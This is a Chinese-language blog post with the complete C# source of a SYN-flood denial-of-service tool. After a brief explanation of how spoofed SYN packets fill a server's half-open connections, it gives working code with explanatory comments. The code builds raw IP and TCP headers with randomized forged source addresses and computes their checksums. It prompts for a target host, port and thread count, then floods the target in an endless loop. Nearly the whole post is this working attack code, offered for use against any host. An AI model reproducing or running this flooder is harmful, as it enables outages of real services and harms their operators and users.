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c#编写的ddos源码

2013年10月18日 ⁄ 综合 ⁄ 共 12306字 ⁄ 字号 评论关闭
  c#编写的ddos源码
win98 winme无效,winxpsp2估计也不行 sp1就可 2000 2003完全可以  
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tcp协议是3次握手的方式连接的,第一次客户机向服务器发送一个标志为syn的数据包,这个数据包的tcp部分有个16位随即序列号,而且ip部分和tcp部分各有一个校验码,发送出去只有校验码正确才会视为合法的数据包,然后如果那个机器那个端口有服务器,比如http服务,就会把序列号+1,然后再生成一个16位随机序列号,标志syn+ack的数据包返回,服务器就会占着一个信道等待第三次握手了,如果超过预定时间等不到就超时去掉了,这时如果开始那个syn的源ip地址和源端口是伪造的并大量发送,服务器就会大量的向假ip端口返回syn+ack并等待,这样就大量占着信道了,如果超过了连接限制,别的机器就连不上了,就拒绝服务了。原理大体就是这个样子了。下面就是代码。  

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//太上老君  
//http://www.laotzu.be  
//必须在项目属性里把允许不安全代码设为true才可编译  
using System;  
using System.Net;  
using System.Net.Sockets;  
using System.Threading;  
//需要的命名空间不用解释了吧  
namespace syn  
{  
public struct ipHeader  
{  
   public byte ip_verlen; //4位首部长度+4位IP版本号  
   public byte ip_tos; //8位服务类型TOS  
   public ushort ip_totallength; //16位数据包总长度(字节)  
   public ushort ip_id; //16位标识  
   public ushort ip_offset; //3位标志位  
   public byte ip_ttl; //8位生存时间 TTL  
   public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.)  
   public ushort ip_checksum; //16位IP首部校验和  
   public uint ip_srcaddr; //32位源IP地址  
   public uint ip_destaddr; //32位目的IP地址  
}  
public struct psdHeader  
{  
   public uint saddr;   //源地址  
   public uint daddr;   //目的地址  
   public byte mbz;  
   public byte ptcl;      //协议类型  
   public ushort tcpl;   //TCP长度  
}  
public struct tcpHeader  
{  
   public ushort th_sport;     //16位源端口  
   public ushort th_dport;     //16位目的端口  
   public int th_seq;    //32位序列号  
   public uint th_ack;    //32位确认号  
   public byte th_lenres;   //4位首部长度/6位保留字  
   public byte th_flag;    //6位标志位  
   public ushort th_win;      //16位窗口大小  
   public ushort th_sum;      //16位校验和  
   public ushort th_urp;      //16位紧急数据偏移量  
}  
//这3个是ip首部tcp伪首部tcp首部的定义。  
public class syn  
{  
   private uint ip;  
   private ushort port;  
   private EndPoint ep;  
   private Random rand;  
   private Socket sock;  
   private ipHeader iph;  
   private psdHeader psh;  
   private tcpHeader tch;  
   public UInt16 checksum( UInt16[] buffer, int size )  
   {  
    Int32 cksum = 0;  
    int counter;  
    counter = 0;  

    while ( size > 0 )  
    {  
     UInt16 val = buffer[counter];  

     cksum += Convert.ToInt32( buffer[counter] );  
     counter += 1;  
     size -= 1;  
    }  

    cksum = (cksum >> 16) + (cksum & 0xffff);  
    cksum += (cksum >> 16);  
    return (UInt16)(~cksum);  
   }  
//这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样  
   public syn(uint _ip,ushort _port,EndPoint _ep,Random _rand)  
   {  
    ip=_ip;  
    port=_port;  
    ep=_ep;  
    rand=_rand;  
    ipHeader iph=new ipHeader();  
    psh=new psdHeader();  
    tch=new tcpHeader();  
    sock=new Socket(AddressFamily.InterNetwork,SocketType.Raw,ProtocolType.IP);  
    sock.SetSocketOption(SocketOptionLevel.IP,SocketOptionName.HeaderIncluded,1);  
//这2个挺重要,必须这样才可以自己提供ip头  
   }  
//传参数的多线程需要用到代构造函数的对象。  
   static void Main(string[] args)  
   {  
    Console.WriteLine("1、输入攻击ip或域名");  
    try  
    {  
     IPHostEntry pe=Dns.GetHostByName(Console.ReadLine());  
     uint ip=Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序  
     Console.WriteLine("2、输入攻击端口");  
     ushort port=ushort.Parse(Console.ReadLine());  
     IPEndPoint ep=new IPEndPoint(pe.AddressList[0],port);  
     byte[] bt=BitConverter.GetBytes(port);  
     Array.Reverse(bt);  
     port=BitConverter.ToUInt16(bt,0);  
//要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样  
     Console.WriteLine("3、输入攻击线程,最多50个");  
     int xiancheng=Int32.Parse(Console.ReadLine());  
     if(xiancheng<1 || xiancheng>50)  
     {  
      Console.WriteLine("必须在1到50之间");  
      return;  
     }  
     Random rand=new Random();  
     Thread[] t=new Thread[xiancheng];  
     syn[] sy=new syn[xiancheng];  
     for(int i=0;i<xiancheng;i++)  
     {  
      sy[i]=new syn(ip,port,ep,rand);  
      t[i]=new Thread(new ThreadStart(sy[i].synFS));  
      t[i].Start();  
     }  
//一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊  
    }  
    catch  
    {  
     Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确");  
     return;  
    }  
     
     
   }  
   unsafe public void synFS()  
   {  
    iph.ip_verlen=(byte)(4<<4 | sizeof(ipHeader)/sizeof(uint));  
//ipv4,20字节ip头,这个固定就是69  
    iph.ip_tos =0;  
//这个0就行了  
    iph.ip_totallength=0x2800;  
//这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800  
    iph.ip_id=0x9B18;  
//这个我是拦截ie发送。直接添上来了  
    iph.ip_offset=0x40;  
//这个也是拦截ie的  
    iph.ip_ttl=64;  
//也是拦截ie的,也可以是128什么的。  
    iph.ip_protocol=6;  
//6就是tcp协议  
    iph.ip_checksum=UInt16.Parse("0");  
//没计算之前都写0  
    iph.ip_destaddr=ip;  
//ip头的目标地址就是要攻击的地址,上面传过来的。  
    psh.daddr=iph.ip_destaddr;  
//伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。  
    psh.mbz=0;  
//这个据说0就行  
    psh.ptcl=6;  
//6是tcp协议  
    psh.tcpl=0x1400;  
//tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400  
    tch.th_dport=port;  
//攻击端口号,上面传过来的  
    tch.th_ack=0;  
//第一次发送所以没有服务器返回的序列号,为0  
    tch.th_lenres=(byte)((sizeof(tcpHeader)/4<<4|0));  
//tcp长度  
    tch.th_flag=2;  
//2就是syn  
    tch.th_win=ushort.Parse("16614");  
//拦截ie的  
    tch.th_sum=UInt16.Parse("0");  
//没计算之前都为0  
    tch.th_urp=UInt16.Parse("0");  
//这个连ip都是0,新的攻击方法有改这个值的  
    while(true)  
    {  
    iph.ip_srcaddr=Convert.ToUInt32(IPAddress.Parse(rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)+"."+rand.Next(1,255)).Address );  
    psh.saddr=iph.ip_srcaddr;  
    ushort duankou=Convert.ToUInt16(rand.Next(1,65535));  
    byte[] bt=BitConverter.GetBytes(duankou);  
    Array.Reverse(bt);  
    tch.th_sport=BitConverter.ToUInt16(bt,0);  
    tch.th_seq=IPAddress.HostToNetworkOrder((int)rand.Next(-2147483646,2147483646));  
//上面用随机种子随机产生源ip源端口和tcp序列号并转为网络字节序  
      
    iph.ip_checksum=0;  
    tch.th_sum=0;  
//因为循环中,所以每次必须把这2个已有数的清0才可计算  
    byte[] psh_buf=new byte[sizeof(psdHeader)];  
    Int32 index=0;  
    index=pshto(psh,psh_buf,sizeof(psdHeader));  
    if(index==-1)  
    {  
     Console.WriteLine("构造tcp伪首部错误");  
     return;  
    }  
     index=0;  
     byte[] tch_buf=new byte[sizeof(tcpHeader)];  
     index=tchto(tch,tch_buf,sizeof(tcpHeader));  
    if(index==-1)  
    {  
     Console.WriteLine("构造tcp首部错误1");  
     return;  
    }  
     index=0;  
     byte[] tcphe=new byte[sizeof(psdHeader)+sizeof(tcpHeader)];  
     Array.Copy(psh_buf,0,tcphe,index,psh_buf.Length);  
     index+=psh_buf.Length;  
     Array.Copy(tch_buf,0,tcphe,index,tch_buf.Length);  
     index+=tch_buf.Length;  
     tch.th_sum=chec(tcphe,index);  
     index=0;  
     index=tchto(tch,tch_buf,sizeof(tcpHeader));  
    if(index==-1)  
    {  
     Console.WriteLine("构造tcp首部错误2");  
     return;  
    }  
     index=0;  
     byte[] ip_buf=new byte[sizeof(ipHeader)];  
     index=ipto(iph,ip_buf,sizeof(ipHeader));  
    if(index==-1)  
    {  
     Console.WriteLine("构造ip首部错误1");  
     return;  
    }  
     index=0;  
     byte[] iptcp=new byte[sizeof(ipHeader)+sizeof(tcpHeader)];  
     Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);  
     index+=ip_buf.Length;  
     Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);  
     index+=tch_buf.Length;  
     iph.ip_checksum=chec(iptcp,index);  
     index=0;  
     index=ipto(iph,ip_buf,sizeof(tcpHeader));  
    if(index==-1)  
    {  
     Console.WriteLine("构造ip首部错误2");  
     return;  
    }  
     index=0;  
     Array.Copy(ip_buf,0,iptcp,index,ip_buf.Length);  
     index+=ip_buf.Length;  
     Array.Copy(tch_buf,0,iptcp,index,tch_buf.Length);  
     index+=tch_buf.Length;  
    if(iptcp.Length!=(sizeof(ipHeader)+sizeof(tcpHeader)))  
    {  
     Console.WriteLine("构造iptcp报文错误");  
     return;  
    }  
//上面这一大堆东西就是计算校验和的方法了,方法是  
//1、建立一个字节数组,前面放tcp伪首部后面放tcp首部,然后计算,确定最终tcp部分的校验和  
//2、把确定了校验和地tcp首部重新生成字节数组,这是就不加tcp伪首部了,所以工20字节  
//3、建40字节字节数组,前面放ip首部,后面放tcp首部,校验,确定最终ip部分校验和  
//4、最后把确定了ip校验和的ip部分和tcp部分先后放入40字节的字节数组中,就是要发送的buffer[]了,就是这么麻烦  
    try  
     {  
   
      sock.SendTo(iptcp,ep);  
//构造发送字节数组总是麻烦,发送就简单了,socket.sendto就可以了  
    
     }  
     catch  
     {  
      Console.WriteLine("发送错误");  
      return;  
     }  
      
      
    }  

   }  
   public UInt16 chec(byte[] buffer,int size)  
   {  
    Double double_length = Convert.ToDouble(size);  
    Double dtemp = Math.Ceiling( double_length / 2);  
    int cksum_buffer_length = Convert.ToInt32(dtemp);  
    UInt16 [] cksum_buffer = new UInt16[cksum_buffer_length];  
    int icmp_header_buffer_index = 0;  
    for( int i = 0; i < cksum_buffer_length; i++ )  
    {  
     cksum_buffer[i] =  
      BitConverter.ToUInt16(buffer,icmp_header_buffer_index);  
     icmp_header_buffer_index += 2;  
    }  
    UInt16 u_cksum = checksum(cksum_buffer, cksum_buffer_length);  
    return u_cksum;  
   }  
//这个是计算校验,把那些类型不一样的全转为16位字节数组用的  
   public Int32 ipto(ipHeader iph,byte[] Buffer,int size)  
   {  
    Int32 rtn=0;  
    int index=0;  
    byte[] b_verlen=new byte[1];  
    b_verlen[0]=iph.ip_verlen;  
    byte[] b_tos=new byte[1];  
    b_tos[0]=iph.ip_tos;  
    byte[] b_totallen=BitConverter.GetBytes(iph.ip_totallength );  
    byte[] b_id=BitConverter.GetBytes(iph.ip_id );  
    byte[] b_offset=BitConverter.GetBytes(iph.ip_offset );  
    byte[] b_ttl=new byte[1];  
    b_ttl[0]=iph.ip_ttl;  
    byte[] b_protol=new byte[1];  
    b_protol[0]=iph.ip_protocol;  
    byte[] b_checksum=BitConverter.GetBytes(iph.ip_checksum );  
    byte[] b_srcaddr=BitConverter.GetBytes(iph.ip_srcaddr );  
    byte[] b_destaddr=BitConverter.GetBytes(iph.ip_destaddr );  
    Array.Copy(b_verlen,0,Buffer,index,b_verlen.Length);  
    index+=b_verlen.Length;  
    Array.Copy(b_tos,0,Buffer,index,b_tos.Length );  
    index+=b_tos.Length;  
    Array.Copy(b_totallen,0,Buffer,index,b_totallen.Length );  
    index+=b_totallen.Length;  
    Array.Copy(b_id,0,Buffer,index,b_id.Length);  
    index+=b_id.Length;  
    Array.Copy(b_offset,0,Buffer,index,b_offset.Length);  
    index+=b_offset.Length;  
    Array.Copy(b_ttl,0,Buffer,index,b_ttl.Length);  
    index+=b_ttl.Length;  
    Array.Copy(b_protol,0,Buffer,index,b_protol.Length);  
    index+=b_protol.Length;  
    Array.Copy(b_checksum,0,Buffer,index,b_checksum.Length);  
    index+=b_checksum.Length;  
    Array.Copy(b_srcaddr,0,Buffer,index,b_srcaddr.Length);  
    index+=b_srcaddr.Length;  
    Array.Copy(b_destaddr,0,Buffer,index,b_destaddr.Length);  
    index+=b_destaddr.Length;  
    if( index != size/* sizeof(IcmpPacket)   */)  
    {  
     rtn = -1;  
     return rtn;  
    }  

    rtn = index;  
    return rtn;  

   }  
//这个是把ip部分转为字节数组用的  
   public Int32 pshto(psdHeader psh,byte[] buffer,int size)  
   {  
    Int32 rtn;  
    int index=0;  
    byte[] b_psh_saddr=BitConverter.GetBytes(psh.saddr );  
    byte[] b_psh_daddr=BitConverter.GetBytes(psh.daddr );  
    byte[] b_psh_mbz=new byte[1];  
    b_psh_mbz[0]=psh.mbz;  
    byte[] b_psh_ptcl=new byte[1];  
    b_psh_ptcl[0]=psh.ptcl;  
    byte[] b_psh_tcpl=BitConverter.GetBytes(psh.tcpl );  
    Array.Copy(b_psh_saddr,0,buffer,index,b_psh_saddr.Length );  
    index+=b_psh_saddr.Length;  
    Array.Copy(b_psh_daddr,0,buffer,index,b_psh_daddr.Length );  
    index+=b_psh_daddr.Length;  
    Array.Copy(b_psh_mbz,0,buffer,index,b_psh_mbz.Length);  
    index+=b_psh_mbz.Length;  
    Array.Copy(b_psh_ptcl,0,buffer,index,b_psh_ptcl.Length );  
    index+=b_psh_ptcl.Length;  
    Array.Copy(b_psh_tcpl,0,buffer,index,b_psh_tcpl.Length );  
    index+=b_psh_tcpl.Length;  
    if(index!=size)  
    {  
     rtn=-1;  
     return rtn;  
    }  
    else  
    {  
     rtn=index;  
     return rtn;  
    }  

   }  
//这个是把tcp伪首部转为字节数组用的  
   public Int32 tchto(tcpHeader tch,byte[] buffer,int size)  
   {  
    Int32 rtn;  
    int index=0;  
    byte[] b_tch_sport=BitConverter.GetBytes(tch.th_sport );  
    byte[] b_tch_dport=BitConverter.GetBytes(tch.th_dport );  
    byte[] b_tch_seq=BitConverter.GetBytes(tch.th_seq );  
    byte[] b_tch_ack=BitConverter.GetBytes(tch.th_ack );  
    byte[] b_tch_lenres=new byte[1];  
    b_tch_lenres[0]=tch.th_lenres;  
    byte[] b_tch_flag=new byte[1];  
    b_tch_flag[0]=tch.th_flag;  
    byte[] b_tch_win=BitConverter.GetBytes(tch.th_win );  
    byte[] b_tch_sum=BitConverter.GetBytes(tch.th_sum );  
    byte[] b_tch_urp=BitConverter.GetBytes(tch.th_urp );  
    Array.Copy(b_tch_sport,0,buffer,index,b_tch_sport.Length);  
    index+=b_tch_sport.Length;  
    Array.Copy(b_tch_dport,0,buffer,index,b_tch_dport.Length);  
    index+=b_tch_dport.Length;  
    Array.Copy(b_tch_seq,0,buffer,index,b_tch_seq.Length);  
    index+=b_tch_seq.Length;  
    Array.Copy(b_tch_ack,0,buffer,index,b_tch_ack.Length);  
    index+=b_tch_ack.Length;  
    Array.Copy(b_tch_lenres,0,buffer,index,b_tch_lenres.Length);  
    index+=b_tch_lenres.Length;  
    Array.Copy(b_tch_flag,0,buffer,index,b_tch_flag.Length);  
    index+=b_tch_flag.Length;  
    Array.Copy(b_tch_win,0,buffer,index,b_tch_win.Length);  
    index+=b_tch_win.Length;  
    Array.Copy(b_tch_sum,0,buffer,index,b_tch_sum.Length);  
    index+=b_tch_sum.Length;  
    Array.Copy(b_tch_urp,0,buffer,index,b_tch_urp.Length);  
    index+=b_tch_urp.Length;  
    if(index!=size)  
    {  
     rtn=-1;  
     return rtn;  
    }  
    else  
    {  
     rtn=index;  
     return rtn;  
    }  
   }  
//这个是把tcp部分转为字节数组用的,因为这个要用到2次就不把这个和伪首部放一块了。  
}  
}  
//最后,本代码校验部分的方法参考了用c#实现ping程序的文章

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